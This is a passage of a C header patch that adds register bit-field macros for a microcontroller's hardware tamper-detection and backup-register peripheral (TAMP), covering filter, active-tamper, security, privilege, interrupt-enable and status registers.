TAMP_FLTCR_TAMPPRCH_Pos (5UL) +#define TAMP_FLTCR_TAMPPRCH_Msk (0x3UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000060 */ +#define TAMP_FLTCR_TAMPPRCH TAMP_FLTCR_TAMPPRCH_Msk +#define TAMP_FLTCR_TAMPPRCH_0 (0x1UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000020 */ +#define TAMP_FLTCR_TAMPPRCH_1 (0x2UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000040 */ +#define TAMP_FLTCR_TAMPPUDIS_Pos (7UL) +#define TAMP_FLTCR_TAMPPUDIS_Msk (0x1UL << TAMP_FLTCR_TAMPPUDIS_Pos) /*!< 0x00000080 */ +#define TAMP_FLTCR_TAMPPUDIS TAMP_FLTCR_TAMPPUDIS_Msk + +/******************** Bits definition for TAMP_ATCR1 register ***************/ +#define TAMP_ATCR1_TAMP1AM_Pos (0UL) +#define TAMP_ATCR1_TAMP1AM_Msk (0x1UL << TAMP_ATCR1_TAMP1AM_Pos) /*!< 0x00000001 */ +#define TAMP_ATCR1_TAMP1AM TAMP_ATCR1_TAMP1AM_Msk +#define TAMP_ATCR1_TAMP2AM_Pos (1UL) +#define TAMP_ATCR1_TAMP2AM_Msk (0x1UL << TAMP_ATCR1_TAMP2AM_Pos) /*!< 0x00000002 */ +#define TAMP_ATCR1_TAMP2AM TAMP_ATCR1_TAMP2AM_Msk +#define TAMP_ATCR1_TAMP3AM_Pos (2UL) +#define TAMP_ATCR1_TAMP3AM_Msk (0x1UL << TAMP_ATCR1_TAMP3AM_Pos) /*!< 0x00000004 */ +#define TAMP_ATCR1_TAMP3AM TAMP_ATCR1_TAMP3AM_Msk +#define TAMP_ATCR1_TAMP4AM_Pos (3UL) +#define TAMP_ATCR1_TAMP4AM_Msk (0x1UL << TAMP_ATCR1_TAMP4AM_Pos) /*!< 0x00000008 */ +#define TAMP_ATCR1_TAMP4AM TAMP_ATCR1_TAMP4AM_Msk +#define TAMP_ATCR1_TAMP5AM_Pos (4UL) +#define TAMP_ATCR1_TAMP5AM_Msk (0x1UL << TAMP_ATCR1_TAMP5AM_Pos) /*!< 0x00000010 */ +#define TAMP_ATCR1_TAMP5AM TAMP_ATCR1_TAMP5AM_Msk +#define TAMP_ATCR1_TAMP6AM_Pos (5UL) +#define TAMP_ATCR1_TAMP6AM_Msk (0x1UL << TAMP_ATCR1_TAMP6AM_Pos) /*!< 0x00000010 */ +#define TAMP_ATCR1_TAMP6AM TAMP_ATCR1_TAMP6AM_Msk +#define TAMP_ATCR1_TAMP7AM_Pos (6UL) +#define TAMP_ATCR1_TAMP7AM_Msk (0x1UL << TAMP_ATCR1_TAMP7AM_Pos) /*!< 0x00000040 */ +#define TAMP_ATCR1_TAMP7AM TAMP_ATCR1_TAMP7AM_Msk +#define TAMP_ATCR1_TAMP8AM_Pos (7UL) +#define TAMP_ATCR1_TAMP8AM_Msk (0x1UL << TAMP_ATCR1_TAMP8AM_Pos) /*!< 0x00000080 */ +#define TAMP_ATCR1_TAMP8AM TAMP_ATCR1_TAMP8AM_Msk +#define TAMP_ATCR1_ATOSEL1_Pos (8UL) +#define TAMP_ATCR1_ATOSEL1_Msk (0x3UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000300 */ +#define TAMP_ATCR1_ATOSEL1 TAMP_ATCR1_ATOSEL1_Msk +#define TAMP_ATCR1_ATOSEL1_0 (0x1UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000100 */ +#define TAMP_ATCR1_ATOSEL1_1 (0x2UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000200 */ +#define TAMP_ATCR1_ATOSEL2_Pos (10UL) +#define TAMP_ATCR1_ATOSEL2_Msk (0x3UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000C00 */ +#define TAMP_ATCR1_ATOSEL2 TAMP_ATCR1_ATOSEL2_Msk +#define TAMP_ATCR1_ATOSEL2_0 (0x1UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000400 */ +#define TAMP_ATCR1_ATOSEL2_1 (0x2UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000800 */ +#define TAMP_ATCR1_ATOSEL3_Pos (12UL) +#define TAMP_ATCR1_ATOSEL3_Msk (0x3UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00003000 */ +#define TAMP_ATCR1_ATOSEL3 TAMP_ATCR1_ATOSEL3_Msk +#define TAMP_ATCR1_ATOSEL3_0 (0x1UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00001000 */ +#define TAMP_ATCR1_ATOSEL3_1 (0x2UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00002000 */ +#define TAMP_ATCR1_ATOSEL4_Pos (14UL) +#define TAMP_ATCR1_ATOSEL4_Msk (0x3UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x0000C000 */ +#define TAMP_ATCR1_ATOSEL4 TAMP_ATCR1_ATOSEL4_Msk +#define TAMP_ATCR1_ATOSEL4_0 (0x1UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x00004000 */ +#define TAMP_ATCR1_ATOSEL4_1 (0x2UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x00008000 */ +#define TAMP_ATCR1_ATCKSEL_Pos (16UL) +#define TAMP_ATCR1_ATCKSEL_Msk (0xFUL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x000F0000 */ +#define TAMP_ATCR1_ATCKSEL TAMP_ATCR1_ATCKSEL_Msk +#define TAMP_ATCR1_ATCKSEL_0 (0x1UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00010000 */ +#define TAMP_ATCR1_ATCKSEL_1 (0x2UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00020000 */ +#define TAMP_ATCR1_ATCKSEL_2 (0x4UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00040000 */ +#define TAMP_ATCR1_ATCKSEL_3 (0x8UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00080000 */ +#define TAMP_ATCR1_ATPER_Pos (24UL) +#define TAMP_ATCR1_ATPER_Msk (0x7UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x07000000 */ +#define TAMP_ATCR1_ATPER TAMP_ATCR1_ATPER_Msk +#define TAMP_ATCR1_ATPER_0 (0x1UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x01000000 */ +#define TAMP_ATCR1_ATPER_1 (0x2UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x02000000 */ +#define TAMP_ATCR1_ATPER_2 (0x4UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x04000000 */ +#define TAMP_ATCR1_ATOSHARE_Pos (30UL) +#define TAMP_ATCR1_ATOSHARE_Msk (0x1UL << TAMP_ATCR1_ATOSHARE_Pos) /*!< 0x40000000 */ +#define TAMP_ATCR1_ATOSHARE TAMP_ATCR1_ATOSHARE_Msk +#define TAMP_ATCR1_FLTEN_Pos (31UL) +#define TAMP_ATCR1_FLTEN_Msk (0x1UL << TAMP_ATCR1_FLTEN_Pos) /*!< 0x80000000 */ +#define TAMP_ATCR1_FLTEN TAMP_ATCR1_FLTEN_Msk + +/******************** Bits definition for TAMP_ATSEEDR register ******************/ +#define TAMP_ATSEEDR_SEED_Pos (0UL) +#define TAMP_ATSEEDR_SEED_Msk (0xFFFFFFFFUL << TAMP_ATSEEDR_SEED_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_ATSEEDR_SEED TAMP_ATSEEDR_SEED_Msk + +/******************** Bits definition for TAMP_ATOR register ******************/ +#define TAMP_ATOR_PRNG_Pos (0UL) +#define TAMP_ATOR_PRNG_Msk (0xFF << TAMP_ATOR_PRNG_Pos) /*!< 0x000000FF */ +#define TAMP_ATOR_PRNG TAMP_ATOR_PRNG_Msk +#define TAMP_ATOR_PRNG_0 (0x1UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000001 */ +#define TAMP_ATOR_PRNG_1 (0x2UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000002 */ +#define TAMP_ATOR_PRNG_2 (0x4UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000004 */ +#define TAMP_ATOR_PRNG_3 (0x8UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000008 */ +#define TAMP_ATOR_PRNG_4 (0x10UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000010 */ +#define TAMP_ATOR_PRNG_5 (0x20UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000020 */ +#define TAMP_ATOR_PRNG_6 (0x40UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000040 */ +#define TAMP_ATOR_PRNG_7 (0x80UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000080 */ +#define TAMP_ATOR_SEEDF_Pos (14UL) +#define TAMP_ATOR_SEEDF_Msk (1UL << TAMP_ATOR_SEEDF_Pos) /*!< 0x00004000 */ +#define TAMP_ATOR_SEEDF TAMP_ATOR_SEEDF_Msk +#define TAMP_ATOR_INITS_Pos (15UL) +#define TAMP_ATOR_INITS_Msk (1UL << TAMP_ATOR_INITS_Pos) /*!< 0x00008000 */ +#define TAMP_ATOR_INITS TAMP_ATOR_INITS_Msk + +/******************** Bits definition for TAMP_ATCR2 register ***************/ +#define TAMP_ATCR2_ATOSEL1_Pos (8UL) +#define TAMP_ATCR2_ATOSEL1_Msk (0x7UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000700 */ +#define TAMP_ATCR2_ATOSEL1 TAMP_ATCR2_ATOSEL1_Msk +#define TAMP_ATCR2_ATOSEL1_0 (0x1UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000100 */ +#define TAMP_ATCR2_ATOSEL1_1 (0x2UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000200 */ +#define TAMP_ATCR2_ATOSEL1_2 (0x4UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000400 */ +#define TAMP_ATCR2_ATOSEL2_Pos (11UL) +#define TAMP_ATCR2_ATOSEL2_Msk (0x7UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00003800 */ +#define TAMP_ATCR2_ATOSEL2 TAMP_ATCR2_ATOSEL2_Msk +#define TAMP_ATCR2_ATOSEL2_0 (0x1UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00000800 */ +#define TAMP_ATCR2_ATOSEL2_1 (0x2UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00001000 */ +#define TAMP_ATCR2_ATOSEL2_2 (0x4UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00002000 */ +#define TAMP_ATCR2_ATOSEL3_Pos (14UL) +#define TAMP_ATCR2_ATOSEL3_Msk (0x7UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x0001C000 */ +#define TAMP_ATCR2_ATOSEL3 TAMP_ATCR2_ATOSEL3_Msk +#define TAMP_ATCR2_ATOSEL3_0 (0x1UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00004000 */ +#define TAMP_ATCR2_ATOSEL3_1 (0x2UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00008000 */ +#define TAMP_ATCR2_ATOSEL3_2 (0x4UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00010000 */ +#define TAMP_ATCR2_ATOSEL4_Pos (17UL) +#define TAMP_ATCR2_ATOSEL4_Msk (0x7UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x000E0000 */ +#define TAMP_ATCR2_ATOSEL4 TAMP_ATCR2_ATOSEL4_Msk +#define TAMP_ATCR2_ATOSEL4_0 (0x1UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00020000 */ +#define TAMP_ATCR2_ATOSEL4_1 (0x2UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00040000 */ +#define TAMP_ATCR2_ATOSEL4_2 (0x4UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00080000 */ +#define TAMP_ATCR2_ATOSEL5_Pos (20UL) +#define TAMP_ATCR2_ATOSEL5_Msk (0x7UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00700000 */ +#define TAMP_ATCR2_ATOSEL5 TAMP_ATCR2_ATOSEL5_Msk +#define TAMP_ATCR2_ATOSEL5_0 (0x1UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00100000 */ +#define TAMP_ATCR2_ATOSEL5_1 (0x2UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00200000 */ +#define TAMP_ATCR2_ATOSEL5_2 (0x4UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00400000 */ +#define TAMP_ATCR2_ATOSEL6_Pos (23UL) +#define TAMP_ATCR2_ATOSEL6_Msk (0x7UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x03800000 */ +#define TAMP_ATCR2_ATOSEL6 TAMP_ATCR2_ATOSEL6_Msk +#define TAMP_ATCR2_ATOSEL6_0 (0x1UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x00800000 */ +#define TAMP_ATCR2_ATOSEL6_1 (0x2UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x01000000 */ +#define TAMP_ATCR2_ATOSEL6_2 (0x4UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x02000000 */ +#define TAMP_ATCR2_ATOSEL7_Pos (26UL) +#define TAMP_ATCR2_ATOSEL7_Msk (0x7UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x1C000000 */ +#define TAMP_ATCR2_ATOSEL7 TAMP_ATCR2_ATOSEL7_Msk +#define TAMP_ATCR2_ATOSEL7_0 (0x1UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x04000000 */ +#define TAMP_ATCR2_ATOSEL7_1 (0x2UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x08000000 */ +#define TAMP_ATCR2_ATOSEL7_2 (0x4UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x10000000 */ +#define TAMP_ATCR2_ATOSEL8_Pos (29UL) +#define TAMP_ATCR2_ATOSEL8_Msk (0x7UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0xE0000000 */ +#define TAMP_ATCR2_ATOSEL8 TAMP_ATCR2_ATOSEL8_Msk +#define TAMP_ATCR2_ATOSEL8_0 (0x1UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x20000000 */ +#define TAMP_ATCR2_ATOSEL8_1 (0x2UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x40000000 */ +#define TAMP_ATCR2_ATOSEL8_2 (0x4UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x80000000 */ + +/******************** Bits definition for TAMP_SECCFGR register *************/ +#define TAMP_SECCFGR_BKPRWSEC_Pos (0UL) +#define TAMP_SECCFGR_BKPRWSEC_Msk (0xFFUL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x000000FF */ +#define TAMP_SECCFGR_BKPRWSEC TAMP_SECCFGR_BKPRWSEC_Msk +#define TAMP_SECCFGR_BKPRWSEC_0 (0x1UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000001 */ +#define TAMP_SECCFGR_BKPRWSEC_1 (0x2UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000002 */ +#define TAMP_SECCFGR_BKPRWSEC_2 (0x4UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000004 */ +#define TAMP_SECCFGR_BKPRWSEC_3 (0x8UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000008 */ +#define TAMP_SECCFGR_BKPRWSEC_4 (0x10UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000010 */ +#define TAMP_SECCFGR_BKPRWSEC_5 (0x20UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000020 */ +#define TAMP_SECCFGR_BKPRWSEC_6 (0x40UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000040 */ +#define TAMP_SECCFGR_BKPRWSEC_7 (0x80UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000080 */ +#define TAMP_SECCFGR_CNT1SEC_Pos (15UL) +#define TAMP_SECCFGR_CNT1SEC_Msk (0x1UL << TAMP_SECCFGR_CNT1SEC_Pos) /*!< 0x00008000 */ +#define TAMP_SECCFGR_CNT1SEC TAMP_SECCFGR_CNT1SEC_Msk +#define TAMP_SECCFGR_BKPWSEC_Pos (16UL) +#define TAMP_SECCFGR_BKPWSEC_Msk (0xFFUL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00FF0000 */ +#define TAMP_SECCFGR_BKPWSEC TAMP_SECCFGR_BKPWSEC_Msk +#define TAMP_SECCFGR_BKPWSEC_0 (0x1UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00010000 */ +#define TAMP_SECCFGR_BKPWSEC_1 (0x2UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00020000 */ +#define TAMP_SECCFGR_BKPWSEC_2 (0x4UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00040000 */ +#define TAMP_SECCFGR_BKPWSEC_3 (0x8UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00080000 */ +#define TAMP_SECCFGR_BKPWSEC_4 (0x10UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00100000 */ +#define TAMP_SECCFGR_BKPWSEC_5 (0x20UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00200000 */ +#define TAMP_SECCFGR_BKPWSEC_6 (0x40UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00400000 */ +#define TAMP_SECCFGR_BKPWSEC_7 (0x80UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00800000 */ +#define TAMP_SECCFGR_BHKLOCK_Pos (30UL) +#define TAMP_SECCFGR_BHKLOCK_Msk (0x1UL << TAMP_SECCFGR_BHKLOCK_Pos) /*!< 0x40000000 */ +#define TAMP_SECCFGR_BHKLOCK TAMP_SECCFGR_BHKLOCK_Msk +#define TAMP_SECCFGR_TAMPSEC_Pos (31UL) +#define TAMP_SECCFGR_TAMPSEC_Msk (0x1UL << TAMP_SECCFGR_TAMPSEC_Pos) /*!< 0x80000000 */ +#define TAMP_SECCFGR_TAMPSEC TAMP_SECCFGR_TAMPSEC_Msk + +/******************** Bits definition for TAMP_PRIVCFGR register ************/ +#define TAMP_PRIVCFGR_CNT1PRIV_Pos (15UL) +#define TAMP_PRIVCFGR_CNT1PRIV_Msk (0x1UL << TAMP_PRIVCFGR_CNT1PRIV_Pos) /*!< 0x20000000 */ +#define TAMP_PRIVCFGR_CNT1PRIV TAMP_PRIVCFGR_CNT1PRIV_Msk +#define TAMP_PRIVCFGR_BKPRWPRIV_Pos (29UL) +#define TAMP_PRIVCFGR_BKPRWPRIV_Msk (0x1UL << TAMP_PRIVCFGR_BKPRWPRIV_Pos) /*!< 0x20000000 */ +#define TAMP_PRIVCFGR_BKPRWPRIV TAMP_PRIVCFGR_BKPRWPRIV_Msk +#define TAMP_PRIVCFGR_BKPWPRIV_Pos (30UL) +#define TAMP_PRIVCFGR_BKPWPRIV_Msk (0x1UL << TAMP_PRIVCFGR_BKPWPRIV_Pos) /*!< 0x40000000 */ +#define TAMP_PRIVCFGR_BKPWPRIV TAMP_PRIVCFGR_BKPWPRIV_Msk +#define TAMP_PRIVCFGR_TAMPPRIV_Pos (31UL) +#define TAMP_PRIVCFGR_TAMPPRIV_Msk (0x1UL << TAMP_PRIVCFGR_TAMPPRIV_Pos) /*!< 0x80000000 */ +#define TAMP_PRIVCFGR_TAMPPRIV TAMP_PRIVCFGR_TAMPPRIV_Msk + +/******************** Bits definition for TAMP_IER register *****************/ +#define TAMP_IER_TAMP1IE_Pos (0UL) +#define TAMP_IER_TAMP1IE_Msk (0x1UL << TAMP_IER_TAMP1IE_Pos) /*!< 0x00000001 */ +#define TAMP_IER_TAMP1IE TAMP_IER_TAMP1IE_Msk +#define TAMP_IER_TAMP2IE_Pos (1UL) +#define TAMP_IER_TAMP2IE_Msk (0x1UL << TAMP_IER_TAMP2IE_Pos) /*!< 0x00000002 */ +#define TAMP_IER_TAMP2IE TAMP_IER_TAMP2IE_Msk +#define TAMP_IER_TAMP3IE_Pos (2UL) +#define TAMP_IER_TAMP3IE_Msk (0x1UL << TAMP_IER_TAMP3IE_Pos) /*!< 0x00000004 */ +#define TAMP_IER_TAMP3IE TAMP_IER_TAMP3IE_Msk +#define TAMP_IER_TAMP4IE_Pos (3UL) +#define TAMP_IER_TAMP4IE_Msk (0x1UL << TAMP_IER_TAMP4IE_Pos) /*!< 0x00000008 */ +#define TAMP_IER_TAMP4IE TAMP_IER_TAMP4IE_Msk +#define TAMP_IER_TAMP5IE_Pos (4UL) +#define TAMP_IER_TAMP5IE_Msk (0x1UL << TAMP_IER_TAMP5IE_Pos) /*!< 0x00000010 */ +#define TAMP_IER_TAMP5IE TAMP_IER_TAMP5IE_Msk +#define TAMP_IER_TAMP6IE_Pos (5UL) +#define TAMP_IER_TAMP6IE_Msk (0x1UL << TAMP_IER_TAMP6IE_Pos) /*!< 0x00000020 */ +#define TAMP_IER_TAMP6IE TAMP_IER_TAMP6IE_Msk +#define TAMP_IER_TAMP7IE_Pos (6UL) +#define TAMP_IER_TAMP7IE_Msk (0x1UL << TAMP_IER_TAMP7IE_Pos) /*!< 0x00000040 */ +#define TAMP_IER_TAMP7IE TAMP_IER_TAMP7IE_Msk +#define TAMP_IER_TAMP8IE_Pos (7UL) +#define TAMP_IER_TAMP8IE_Msk (0x1UL << TAMP_IER_TAMP8IE_Pos) /*!< 0x00000080 */ +#define TAMP_IER_TAMP8IE TAMP_IER_TAMP8IE_Msk +#define TAMP_IER_ITAMP1IE_Pos (16UL) +#define TAMP_IER_ITAMP1IE_Msk (0x1UL << TAMP_IER_ITAMP1IE_Pos) /*!< 0x00010000 */ +#define TAMP_IER_ITAMP1IE TAMP_IER_ITAMP1IE_Msk +#define TAMP_IER_ITAMP2IE_Pos (17UL) +#define TAMP_IER_ITAMP2IE_Msk (0x1UL << TAMP_IER_ITAMP2IE_Pos) /*!< 0x00020000 */ +#define TAMP_IER_ITAMP2IE TAMP_IER_ITAMP2IE_Msk +#define TAMP_IER_ITAMP3IE_Pos (18UL) +#define TAMP_IER_ITAMP3IE_Msk (0x1UL << TAMP_IER_ITAMP3IE_Pos) /*!< 0x00040000 */ +#define TAMP_IER_ITAMP3IE TAMP_IER_ITAMP3IE_Msk +#define TAMP_IER_ITAMP5IE_Pos (20UL) +#define TAMP_IER_ITAMP5IE_Msk (0x1UL << TAMP_IER_ITAMP5IE_Pos) /*!< 0x00100000 */ +#define TAMP_IER_ITAMP5IE TAMP_IER_ITAMP5IE_Msk +#define TAMP_IER_ITAMP6IE_Pos (21UL) +#define TAMP_IER_ITAMP6IE_Msk (0x1UL << TAMP_IER_ITAMP6IE_Pos) /*!< 0x00200000 */ +#define TAMP_IER_ITAMP6IE TAMP_IER_ITAMP6IE_Msk +#define TAMP_IER_ITAMP7IE_Pos (22UL) +#define TAMP_IER_ITAMP7IE_Msk (0x1UL << TAMP_IER_ITAMP7IE_Pos) /*!< 0x00400000 */ +#define TAMP_IER_ITAMP7IE TAMP_IER_ITAMP7IE_Msk +#define TAMP_IER_ITAMP8IE_Pos (23UL) +#define TAMP_IER_ITAMP8IE_Msk (0x1UL << TAMP_IER_ITAMP8IE_Pos) /*!< 0x00800000 */ +#define TAMP_IER_ITAMP8IE TAMP_IER_ITAMP8IE_Msk +#define TAMP_IER_ITAMP9IE_Pos (24UL) +#define TAMP_IER_ITAMP9IE_Msk (0x1UL << TAMP_IER_ITAMP9IE_Pos) /*!< 0x01000000 */ +#define TAMP_IER_ITAMP9IE TAMP_IER_ITAMP9IE_Msk +#define TAMP_IER_ITAMP11IE_Pos (26UL) +#define TAMP_IER_ITAMP11IE_Msk (0x1UL << TAMP_IER_ITAMP11IE_Pos) /*!< 0x04000000 */ +#define TAMP_IER_ITAMP11IE TAMP_IER_ITAMP11IE_Msk +#define TAMP_IER_ITAMP12IE_Pos (27UL) +#define TAMP_IER_ITAMP12IE_Msk (0x1UL << TAMP_IER_ITAMP12IE_Pos) /*!< 0x08000000 */ +#define TAMP_IER_ITAMP12IE TAMP_IER_ITAMP12IE_Msk +#define TAMP_IER_ITAMP13IE_Pos (28UL) +#define TAMP_IER_ITAMP13IE_Msk (0x1UL << TAMP_IER_ITAMP13IE_Pos) /*!< 0x10000000 */ +#define TAMP_IER_ITAMP13IE TAMP_IER_ITAMP13IE_Msk + +/******************** Bits definition for TAMP_SR register *****************/ +#define TAMP_SR_TAMP1F_Pos (0UL) +#define TAMP_SR_TAMP1F_Msk (0x1UL << TAMP_SR_TAMP1F_Pos) /*!< 0x00000001 */ +#define TAMP_SR_TAMP1F TAMP_SR_TAMP1F_Msk +#define TAMP_SR_TAMP2F_Pos (1UL) +#define TAMP_SR_TAMP2F_Msk (0x1UL << TAMP_SR_TAMP2F_Pos) /*!< 0x00000002 */ +#define TAMP_SR_TAMP2F TAMP_SR_TAMP2F_Msk +#define TAMP_SR_TAMP3F_Pos (2UL) +#define TAMP_SR_TAMP3F_Msk (0x1UL << TAMP_SR_TAMP3F_Pos) /*!< 0x00000004 */ +#define TAMP_SR_TAMP3F TAMP_SR_TAMP3F_Msk +#define TAMP_SR_TAMP4F_Pos (3UL) +#define TAMP_SR_TAMP4F_Msk (0x1UL << TAMP_SR_TAMP4F_Pos) /*!< 0x00000008 */ +#define TAMP_SR_TAMP4F TAMP_SR_TAMP4F_Msk +#define TAMP_SR_TAMP5F_Pos (4UL) +#define TAMP_SR_TAMP5F_Msk (0x1UL << TAMP_SR_TAMP5F_Pos) /*!< 0x00000010 */ +#define TAMP_SR_TAMP5F TAMP_SR_TAMP5F_Msk +#define TAMP_SR_TAMP6F_Pos (5UL) +#define TAMP_SR_TAMP6F_Msk (0x1UL << TAMP_SR_TAMP6F_Pos) /*!< 0x00000020 */ +#define TAMP_SR_TAMP6F TAMP_SR_TAMP6F_Msk +#define TAMP_SR_TAMP7F_Pos (6UL) +#define TAMP_SR_TAMP7F_Msk (0x1UL << TAMP_SR_TAMP7F_Pos) /*!< 0x00000040 */ +#define TAMP_SR_TAMP7F TAMP_SR_TAMP7F_Msk +#define TAMP_SR_TAMP8F_Pos (7UL) +#define TAMP_SR_TAMP8F_Msk (0x1UL << TAMP_SR_TAMP8F_Pos) /*!< 0x00000080 */ +#define TAMP_SR_TAMP8F TAMP_SR_TAMP8F_Msk +#define TAMP_SR_ITAMP1F_Pos (16UL) +#define TAMP_SR_ITAMP1F_Msk (0x1UL << TAMP_SR_ITAMP1F_Pos) /*!< 0x00010000 */ +#define TAMP_SR_ITAMP1F TAMP_SR_ITAMP1F_Msk +#define TAMP_SR_ITAMP2F_Pos (17UL) +#define TAMP_SR_ITAMP2F_Msk (0x1UL << TAMP_SR_ITAMP2F_Pos) /*!< 0x00010000 */ +#define TAMP_SR_ITAMP2F TAMP_SR_ITAMP2F_Msk +#define TAMP_SR_ITAMP3F_Pos (18UL) +#define TAMP_SR_ITAMP3F_Msk (0x1UL << TAMP_SR_ITAMP3F_Pos) /*!< 0x00040000 */ +#define TAMP_SR_ITAMP3F TAMP_SR_ITAMP3F_Msk +#define TAMP_SR_ITAMP5F_Pos (20UL) +#define TAMP_SR_ITAMP5F_Msk (0x1UL << TAMP_SR_ITAMP5F_Pos) /*!< 0x00100000 */ +#define TAMP_SR_ITAMP5F TAMP_SR_ITAMP5F_Msk +#define TAMP_SR_ITAMP6F_Pos (21UL) +#define TAMP_SR_ITAMP6F_Msk (0x1UL << TAMP_SR_ITAMP6F_Pos) /*!< 0x00200000 */ +#define TAMP_SR_ITAMP6F TAMP_SR_ITAMP6F_Msk +#define TAMP_SR_ITAMP7F_Pos (22UL) +#define TAMP_SR_ITAMP7F_Msk (0x1UL << TAMP_SR_ITAMP7F_Pos) /*!< 0x00400000 */ +#define TAMP_SR_ITAMP7F TAMP_SR_ITAMP7F_Msk +#define TAMP_SR_ITAMP8F_Pos (23UL) +#define TAMP_SR_ITAMP8F_Msk (0x1UL << TAMP_SR_ITAMP8F_Pos) /*!< 0x00800000 */ +#define TAMP_SR_ITAMP8F TAMP_SR_ITAMP8F_Msk +#define TAMP_SR_ITAMP9F_Pos (24UL) +#define TAMP_SR_ITAMP9F_Msk (0x1UL << TAMP_SR_ITAMP9F_Pos) /*!< 0x01000000 */ +#define TAMP_SR_ITAMP9F TAMP_SR_ITAMP9F_Msk +#define TAMP_SR_ITAMP11F_Pos (26UL) +#define TAMP_SR_ITAMP11F_Msk (0x1UL << TAMP_SR_ITAMP11F_Pos) /*!< 0x04000000 */ +#define TAMP_SR_ITAMP11F TAMP_SR_ITAMP11F_Msk +#define TAMP_SR_ITAMP12F_Pos (27UL) +#define TAMP_SR_ITAMP12F_Msk (0x1UL << TAMP_SR_ITAMP12F_Pos) /*!< 0x08000000 */ +#define TAMP_SR_ITAMP12F TAMP_SR_ITAMP12F_Msk +#define TAMP_SR_ITAMP13F_Pos (28UL) +#define TAMP_SR_ITAMP13F_Msk (0x1UL << TAMP_SR_ITAMP13F_Pos) /*!< 0x10000000 */ +#define TAMP_SR_ITAMP13F TAMP_SR_ITAMP13F_Msk + +/******************** Bits definition for TAMP_MISR register ****************/ +#define TAMP_MISR_TAMP1MF_Pos (0UL) +#define TAMP_MISR_TAMP1MF_Msk (0x1UL << 